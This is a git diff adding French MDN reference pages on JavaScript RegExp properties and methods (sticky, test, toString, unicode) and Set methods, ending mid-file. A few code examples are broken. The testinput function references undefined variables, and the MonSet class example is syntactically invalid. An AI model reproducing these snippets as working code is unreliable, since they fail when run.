La propriété sticky est un booléen qui vaut true si le marqueur (flag) "y" a été utilisé, false sinon. Ce marqueur indique que les correspondances ne sont recherchées qu'à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} au niveau de la chaîne de caractères (les correspondances à partir des autres positions ne seront pas trouvées). Lorsqu'une expression rationnelle qui utilise le marqueur sticky et le marqueur global ignorera le marqueur global.

+ +

La propriété sticky ne peut pas être modifiée directement. Elle est uniquement en lecture seule.

+ +

Exemples

+ +

Utiliser une expression rationnelle avec le flag sticky

+ +
var str = '#toto#';
+var regex = /toto/y;
+
+regex.lastIndex = 1;
+regex.test(str); // true
+regex.lastIndex = 5;
+regex.test(str); // false (lastIndex est pris en compte avec sticky)
+regex.lastIndex; // 0 (on rénitialise après un échec)
+
+ +

Marqueur d'adhérence « ancré »

+ +

Pendant plusieurs versions, le moteur JavaScript de Firefox, SpiderMonkey, avait un bug qui entraînait des correspondances invalides lorsqu'étaient utilisés le marqueur d'adhérence et le symbole ^ dans l'expression rationnelle. Ce bug est apparu peu après Firefox 3.6. Afin d'éviter ce bug, la spécification ES2015 indique spécifiquement que, lorsque le marqueur y est utilisé avec un motif commençant par ^, ce dernier doit correspondre au début de la chaine (ou, si multiline vaut true, au début de la ligne). Les exemples qui suivent illustrent le comportement correct :

+ +
var regex = /^foo/y;
+regex.lastIndex = 2; // désactive la correspondance au début
+regex.test("..foo"); // false
+
+var regex2 = /^foo/my;
+regex2.lastIndex = 2;
+regex2.test("..foo"); // false
+regex2.lastIndex = 2;
+regex2.test(".\nfoo"); // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationEtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.sticky")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.global")}}
    • +
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • +
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • +
  • {{jsxref("RegExp.prototype.multiline")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/test/index.html b/files/fr/web/javascript/reference/global_objects/regexp/test/index.html new file mode 100644 index 0000000000..a68e3eb976 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/test/index.html @@ -0,0 +1,138 @@ +--- +title: RegExp.prototype.test() +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/test +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test +--- +
{{JSRef}}
+ +

La méthode test() vérifie s'il y a une correspondance entre un texte et une expression rationnelle. Elle retourne true en cas de succès et false dans le cas contraire.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-test.html", "taller")}}
+ + + +

Syntaxe

+ +
regexObj.test(chaîne)
+ +

Paramètres

+ +
+
chaîne
+
La chaîne de caractères qu'on souhaite comparer à l'expression rationnelle.
+
+ +

Valeur de retour

+ +

Un booléen : true ou false selon qu'une correspondance a été trouvée entre la chaîne de caractères et la chaîne passée en argument.

+ +

Description

+ +

On utilisera test() dès qu'on souhaite savoir si une partie d'une chaîne de caractères correspond à une expression rationnelle (similaire à la méthode {{jsxref("String.prototype.search()")}}). Pour obtenir plus d'informations (mais une exécution moins rapide), on utilisera la méthode {{jsxref("RegExp.prototype.exec()", "exec()")}} (similaire à la méthode {{jsxref("String.prototype.match()")}}). Comme avec {{jsxref("RegExp.prototype.exec()", "exec()")}} (et même en combinant les deux), des appels successifs à test() sur une même instance d'une expression rationnelle permettent de rechercher après la dernière occurence. Cette méthode est différente de search car elle renvoie un booléen et non la position de la correspondance si elle est trouvée (ou -1 sinon).

+ +

Exemples

+ +

Utiliser test()

+ +

Voici un exemple simple qui illustre comment détecter si la chaîne coucou est contenue au début d'une chaîne :

+ +
const chaine = "coucou le monde !";
+const resultat = /^coucou/.test(chaine);
+console.log(resultat); // true
+
+ +

L'exemple ci-dessous affiche un message qui dépend du succès du test :

+ +
function testinput(regex, chaine){
+    var midstring;
+    if (regex.test(chaine)) {
+        midstring = " contient ";
+    } else {
+        midstring = " ne contient pas ";
+    }
+    console.log(str + midstring + re.source);
+}
+
+testinput(/^coucou/, "coucou le monde"); // coucou le monde contient coucou
+testinput(/^coucou/, "salut le monde") // salut le monde ne contient pas coucou
+
+ +

Utiliser test() avec le marqueur global (/g)

+ +

Si l'expression rationnelle utilise le marqueur global (g), la méthode test() avancera la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} associée à l'expression rationnelle. Ainsi, si on utilise test() ensuite, la recherche commencera à partir de la nouvelle valeur de lastIndex (de même {{jsxref("RegExp.prototype.exec()","exec()")}} fera également avancer la propriété lastIndex). On notera que la propriété lastIndex ne sera pas réinitialisée si la recherche est effectuée sur une autre chaîne de caractères.

+ +
var regex = /toto/g;
+
+// regex.lastIndex se situe à 0
+regex.test("toto"); // true
+
+// regex.lastIndex se situe désormais à 4
+regex.test("toto"); // false
+
+ +

Avec le même mécanisme, on peut utiliser une boucle pour compter le nombre de mots contenus dans une chaîne de caractères

+ +
function compterMots(texte) {
+  for (var regex = /\w+/g, nbMots = 0; regex.test(texte); nbMots++);
+  return nbMots;
+}
+
+console.log(compterMots("Ah que coucou Bob")); // 4
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.10.6.3', 'RegExp.test')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp.prototype.test', 'RegExp.test')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.test")}}

+ +

Notes spécifiques à Firefox

+ +

Pour les versions antérieures à Firefox 8.0, l'implémentation de test() était erronée. Quand la méthode était appelée sans aucun paramètre, elle effectuait son test par rapport à la dernière entrée (la propriété RegExp.input) et non par rapport à la chaîne "undefined". Ce comportement a été corrigé  ; désormais /undefined/.test() retourne bien true au lieu d'une erreur.

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/regexp/tosource/index.html b/files/fr/web/javascript/reference/global_objects/regexp/tosource/index.html new file mode 100644 index 0000000000..976fb23117 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/tosource/index.html @@ -0,0 +1,57 @@ +--- +title: RegExp.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toSource +tags: + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource +--- +
{{JSRef}}{{non-standard_header}}
+ +

La méthode toSource() permet de renvoyer une chaîne de caractères représentant le code source de l'objet.

+ +

Syntaxe

+ +
objetRegExp.toSource()
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant le code source de l'objet {{jsxref("RegExp")}}.

+ +

Description

+ +

La méthode toSource renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("RegExp")}}, toSource() renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible : + + 
    function RegExp() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances de {{jsxref("RegExp")}}, toSource() renvoie une chaîne de caractères indiquant le code source de l'objet.
    • +
+ +

Cette méthode est généralement utilisée de façon interne au moteur JavaScript, elle n'est pas censée être utilisée dans du code JavaScript classique.

+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.html b/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.html new file mode 100644 index 0000000000..a06f740075 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.html @@ -0,0 +1,96 @@ +--- +title: RegExp.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toString +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères représentant l'expression rationnelle.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-tostring.html", "taller")}}
+ + + +

Syntaxe

+ +
regexObj.toString();
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant l'expression rationnelle appelante.

+ +

Description

+ +

L'objet {{jsxref("RegExp")}} surcharge la méthode toString de l'objet {{jsxref("Object")}}. Il n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets RegExp, la méthode toString() renvoie une représentation de l'expression rationnelle sous la forme d'une chaîne de caractères.

+ +

Exemples

+ +

Utiliser toString()

+ +

L'exemple qui suit affiche la chaîne correspondant à la valeur de l'objet {{jsxref("Global_Objects/RegExp", "RegExp")}} :

+ +
var maRegExp = new RegExp("a+b+c");
+console.log(maRegExp.toString());  // affiche "/a+b+c/"
+
+var toto = new RegExp("truc", "g");
+console.log(toto.toString());      // affiche "/truc/g"
+
+ +

Les expressions ratonnelles vides et l'échappement

+ +

À partir d'ECMAScript 5, la méthode renvoie la chaîne "(?:)" pour les expressions vides. De plus, les fins de lignes (telles que "\n") sont désormais échappées.

+ +
new RegExp().toString(); // "(?:)"
+
+new RegExp('\n').toString() === "/\n/";  // true avant ES5
+new RegExp('\n').toString() === "/\\n/"; // true à partir d'ES5
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}}{{Spec2('ES5.1')}}source renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.
{{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.html new file mode 100644 index 0000000000..e4400b5f35 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.html @@ -0,0 +1,74 @@ +--- +title: RegExp.prototype.unicode +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/unicode +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp + - Regular Expressions +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/unicode +--- +
{{JSRef}}
+ +

La propriété unicode indique si le drapeau "u" a été utilisé avec l'expression rationnelle. unicode est une propriété en lecture seule et liée à une instance d'expression rationnelle.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-unicode.html", "taller")}}
+ + + +
{{js_property_attributes(0, 0, 1)}}
+ +

Description

+ +

La valeur d'unicode est un {{jsxref("Boolean")}} et vaut true si le drapeau "u" a été utilisé, sinon false. Le drapeau "u" permet d'activer les fonctionnalités liées à Unicode. En utilisant le drapeau "u" toute séquence d'échappement représentant un codet Unicode sera interprétée comme telle.

+ +

Cette propriété ne peut pas être modifiée directement.

+ +

Exemples

+ +
var regex = new RegExp('\u{61}', 'u');
+
+console.log(regex.unicode); // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.unicode")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.lastIndex")}}
    • +
  • {{jsxref("RegExp.prototype.global")}}
    • +
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • +
  • {{jsxref("RegExp.prototype.multiline")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
  • {{jsxref("RegExp.prototype.sticky")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.html b/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.html new file mode 100644 index 0000000000..de86a491fa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.html @@ -0,0 +1,92 @@ +--- +title: 'Set.prototype[@@iterator]()' +slug: Web/JavaScript/Reference/Objets_globaux/Set/@@iterator +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@iterator +--- +
{{JSRef}}
+ +

La valeur initiale de la propriété @@iterator est le même objet fonction que la valeur initiale de la propriété {{jsxref("Set.prototype.values()", "Set.prototype.values")}}.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-@@iterator.html")}}
+ + + +

Syntaxe

+ +
monSet[Symbol.iterator]
+ +

Valeur de retour

+ +

La fonction associée au symbole @@iterator de l'objet. Par défaut, c'est la fonction {{jsxref("Set.prototype.values()","values()")}}.

+ +

Exemples

+ +

Utiliser [@@iterator]()

+ +
const monSet = new Set();
+monSet.add("0");
+monSet.add(1);
+monSet.add({});
+
+const setIter = monSet[Symbol.iterator]();
+
+console.log(setIter.next().value); // "0"
+console.log(setIter.next().value); // 1
+console.log(setIter.next().value); // {}
+
+ +

Utiliser [@@iterator]() avec une boucle for..of

+ +
const monSet= new Set();
+monSet.add("0");
+monSet.add(1);
+monSet.add({});
+
+for (const v of monSet) {
+  console.log(v);
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.@@iterator")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set.prototype.entries()")}}
    • +
  • {{jsxref("Set.prototype.values","Set.prototype.keys()")}}
    • +
  • {{jsxref("Set.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/@@species/index.html b/files/fr/web/javascript/reference/global_objects/set/@@species/index.html new file mode 100644 index 0000000000..dbf3152c4d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/@@species/index.html @@ -0,0 +1,72 @@ +--- +title: 'get Set[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/Set/@@species +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@species +--- +
{{JSRef}}
+ +

Set[@@species] renvoie le constructeur Set.

+ +

Syntaxe

+ +
Set[Symbol.species]
+
+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les objets Set. Les constructeurs pour les classes filles peuvent surcharger cette propriété afin de modifier le constructeur utilisé lors de l'affectation.

+ +

Exemples

+ +

La propriété species renvoie la fonction utilisée comme constructeur par défaut, dans le cas des objets Set, c'est le constructeur Set :

+ +
Set[Symbol.species]; // function Set()
+ +

Pour les objets dérivés (par exemple une classe MonSet que vous auriez construite), la propriété species pour MonSet sera le constructeur MonSet. Cependant, si vous souhaitez surcharger ce comportement afin de renvoyer le constructeur Set dans les méthodes des classes dérivées, vous pourrez utiliser :

+ +
class MonSet extends Set
+  // On surcharge la propriété species de MonSet
+  // avec le constructeur Set de la classe parente
+  static get [Symbol.species()]() { return Set;}
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-set-@@species', 'get Set [ @@species ]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-set-@@species', 'get Set [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.@@species")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/add/index.html b/files/fr/web/javascript/reference/global_objects/set/add/index.html new file mode 100644 index 0000000000..2ccda95513 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/add/index.html @@ -0,0 +1,81 @@ +--- +title: Set.prototype.add() +slug: Web/JavaScript/Reference/Objets_globaux/Set/add +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/add +--- +
{{JSRef}}
+ +

La méthode add() permet d'ajouter un nouvel élément ayant une valeur donnée à un ensemble Set. Cette valeur sera ajoutée à la fin de l'objet Set.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}
+ + + +

Syntaxe

+ +
monSet.add(valeur);
+ +

Paramètres

+ +
+
valeur
+
Ce paramètre est obligatoire. La valeur de l'élément qu'on souhaite ajouter à l'objet Set.
+
+ +

Valeur de retour

+ +

L'objet Set (ce qui permet de chaîner une suite d'instructions utilisant cette méthode).

+ +

Exemples

+ +
var monSet = new Set();
+
+monSet.add(1);
+monSet.add(5).add("du texte"); // ajouts en chaîne
+
+console.log(monSet);
+// Set [1, 5, "du texte"]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.add")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("Set.prototype.delete()")}}
    • +
  • {{jsxref("Set.prototype.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/clear/index.html b/files/fr/web/javascript/reference/global_objects/set/clear/index.html new file mode 100644 index 0000000000..1c6beb30c4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/clear/index.html @@ -0,0 +1,77 @@ +--- +title: Set.prototype.clear() +slug: Web/JavaScript/Reference/Objets_globaux/Set/clear +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear +--- +
{{JSRef}}
+ +

La méthode clear() permet de retirer tous les éléments d'un ensemble Set.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}
+ + + +

Syntaxe

+ +
monSet.clear();
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Exemples

+ +
var monSet = new Set();
+monSet.add(1);
+monSet.add("toto");
+
+monSet.size;        // 2
+monSet.has("toto"); // true
+
+monSet.clear();
+
+monSet.size;       // 0
+monSet.has("truc")  // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.clear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("Set.prototype.delete()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/delete/index.html b/files/fr/web/javascript/reference/global_objects/set/delete/index.html new file mode 100644 index 0000000000..eff24aa6d9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/delete/index.html @@ -0,0 +1,96 @@ +--- +title: Set.prototype.delete() +slug: Web/JavaScript/Reference/Objets_globaux/Set/delete +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete +--- +
{{JSRef}}
+ +

La méthode delete() permet de retirer un élément donné d'un objet Set.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}
+ + + +

Syntaxe

+ +
monSet.delete(valeur);
+ +

Paramètres

+ +
+
valeur
+
Ce paramètre est obligatoire. Il représente la valeur de l'élément qu'on souhaite retirer de l'objet Set.
+
+ +

Valeur de retour

+ +

true si un élément de l'objet Set a été retiré lors de l'opération, false sinon.

+ +

Exemples

+ +

Utiliser la méthode delete()

+ +
var monSet = new Set();
+monSet.add("toto");
+
+monSet.delete("truc"); // Renvoie false. Aucun élément "truc" n'a pu être supprimé.
+monSet.delete("toto"); // Renvoie true.  L'élément a pu être supprimé.
+
+monSet.has("toto");    // Renvoie false. L'élément "toto" ne fait plus partie de l'ensemble.
+
+ +

Utiliser delete() avec forEach()

+ +
var objetSet = new Set();
+objetSet.add({x: 10, y: 20}); // On ajoute un nouvel objet dans l'ensemble
+objetSet.add({x: 20, y: 30}); // On ajoute un nouvel objet dans l'ensemble
+
+// On supprime les points de l'ensemble pour lesquels
+// x est supérieur à 10
+objetSet.forEach(function(point){
+  if(point.x > 10){
+    objetSet.delete(point);
+  }
+});
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.delete")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("Set.prototype.clear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/entries/index.html b/files/fr/web/javascript/reference/global_objects/set/entries/index.html new file mode 100644 index 0000000000..0e791e4c8d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/entries/index.html @@ -0,0 +1,77 @@ +--- +title: Set.prototype.entries() +slug: Web/JavaScript/Reference/Objets_globaux/Set/entries +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries +--- +
{{JSRef}}
+ +

La méthode entries() renvoie un nouvel objet Iterator qui contient un tableau composé de [valeur, valeur] pour chaque élément de l'objet Set, dans leur ordre d'insertion. En raison de leur structure, les objets Set n'ont pas de clé (key), à la différence des objets Map. Pour garder une structure et une API sembables à celle d'un objet Map, chaque entrée (entry) aura la même valeur pour la clé (key) et pour la valeur (value), c'est pourquoi un tableau de [valeur, valeur] est renvoyé.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}
+ + + +

Syntaxe

+ +
monSet.entries()
+ +

Valeur de retour

+ +

Un nouvel objet Iterator qui contient un tableau de tuples [valeur, valeur] pour chaque élément de l'ensemble, dans leur ordre d'insertion.

+ +

Exemples

+ +
var monSet = new Set();
+monSet.add("totobidule");
+monSet.add(1);
+monSet.add("machin");
+
+var setIter = monSet.entries();
+
+console.log(setIter.next().value); // ["totobidule", "totobidule"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["machin", "machin"]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.entries")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set.prototype.values","Set.prototype.keys()")}}
    • +
  • {{jsxref("Set.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/foreach/index.html b/files/fr/web/javascript/reference/global_objects/set/foreach/index.html new file mode 100644 index 0000000000..e3b14c4eb8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/foreach/index.html @@ -0,0 +1,115 @@ +--- +title: Set.prototype.forEach() +slug: Web/JavaScript/Reference/Objets_globaux/Set/forEach +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach +--- +
{{JSRef}}
+ +

La méthode forEach() permet d'exécuter une fonction donnée, une fois pour chaque valeur de l'ensemble Set. L'ordre appliqué est celui dans lequel les valeurs ont été ajoutées à l'ensemble.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}
+ + + +

Syntaxe

+ +
monSet.forEach(callback[, thisArg])
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Paramètres

+ +
+
callback
+
La fonction qu'on souhaite exécuter pour chaque élément et qui sera appelée avec trois arguments :
+
+
+
valeurCourante, cléCourante
+
L'élément courant appartenant à l'ensemble Set. Un ensemble n'ayant pas de clé, c'est la même valeur qui est passée pour deux arguments de la fonction de rappel.
+
set
+
L'objet Set courant (celui sur lequel forEach() a été appelé).
+
+
+
thisArg
+
Paramètre optionnel. La valeur à utiliser comme this lors de l'exécution de callback.
+
+ +

Description

+ +

La méthode forEach() exécute la fonction callback fournie pour chaque valeur contenue au sein de l'objet Set. Elle n'est pas appelée pour les valeurs qui ont été supprimées. Cependant, elle est exécutée si jamais la valeur vaut undefined.

+ +

callback est appelé avec trois arguments :

+ +
    +
  • la valeur de l'élément
    • +
  • la clé de l'élément
    • +
  • l'objet Set qui est parcouru
    • +
+ +

Les objets Set n'ont pas de clé (key). Cependant les deux premiers arguments correspondent à la valeur contenue dans l'objet {{jsxref("Set")}}. Cela permet d'utiliser les fonctions callback de façon cohérente avec les méthodes forEach() de {{jsxref("Map.foreach", "Map")}} et {{jsxref("Array.forEach","Array")}}.

+ +

Si un paramètre thisArg est fourni, il sera passé à la fonction callback lors de l'appel comme valeur this. Par défaut, la valeur {{jsxref("undefined")}} sera passée comme argument this. La valeur this effectivement reçue par la fonction callback est déterminée selon les règles usuelles de détermination de this par une fonction.

+ +

Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de forEach. callback n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que forEach ait parcouru l'ensemble seront traitées

+ +

forEach exécute la fonction callback une fois pour chaque élément de l'objet Set. Cette méthode ne renvoie pas de valeur.

+ +

Exemples

+ +

Le code qui suit permet d'enregistrer une ligne pour chaque élément contenu dans l'objet Set :

+ +
function logSetElements(valeur1, valeur2, set) {
+    console.log("s[" + valeur1 + "] = " + valeur2);
+}
+
+new Set(["toto", "truc", undefined]).forEach(logSetElements);
+
+// affichera :
+// "s[toto] = toto"
+// "s[truc] = truc"
+// "s[undefined] = undefined"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.forEach")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Map.prototype.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/has/index.html b/files/fr/web/javascript/reference/global_objects/set/has/index.html new file mode 100644 index 0000000000..08f9fcb55f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/has/index.html @@ -0,0 +1,91 @@ +--- +title: Set.prototype.has() +slug: Web/JavaScript/Reference/Objets_globaux/Set/has +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/has +--- +
{{JSRef}}
+ +

La méthode has() renvoie un booléen qui indique s'il existe un élément de l'ensemble Set avec une certaine valeur.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}
+ + + +

Syntaxe

+ +
monSet.has(valeur);
+ +

Paramètres

+ +
+
valeur
+
Ce paramètre est obligatoire. C'est la valeur dont on souhaite savoir si elle est présente ou non dans l'objet Set.
+
+ +

Valeur de retour

+ +

Un booléen : true s'il existe un élément avec la valeur donnée au sein du Set, false sinon.

+ +
+

